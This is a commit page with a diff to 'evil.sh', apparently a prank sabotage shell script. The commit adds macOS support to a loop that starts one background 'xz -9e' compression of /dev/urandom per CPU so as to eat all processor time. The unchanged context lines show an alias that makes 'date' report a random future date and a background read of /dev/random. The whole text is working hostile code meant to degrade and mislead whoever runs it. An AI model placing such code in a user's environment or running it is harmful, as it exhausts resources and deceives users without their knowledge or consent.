slightly more cross-platform all-cpu-eating

mathiasbynens · Mar 28, 2016 · c40d645 · c40d645
1 parent 2e035b0
commit c40d645
Showing 1 changed file with 6 additions and 1 deletion.
diff --git a/evil.sh b/evil.sh
@@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"';
 /bin/cat /dev/random > /dev/null 2>&1 &
 
 # Use ALL the CPUs.
-for i in $(seq 1 $(nproc)); do
+if [ "$(uname)" = 'Darwin' ]; then
+	NCPUS=$(sysctl -n hw.ncpu)
+else
+	NCPUS=$(nproc)
+fi;
+for i in $(seq 1 $NCPUS); do
 	xz -9e -c /dev/urandom > /dev/null 2>&1 &
 done;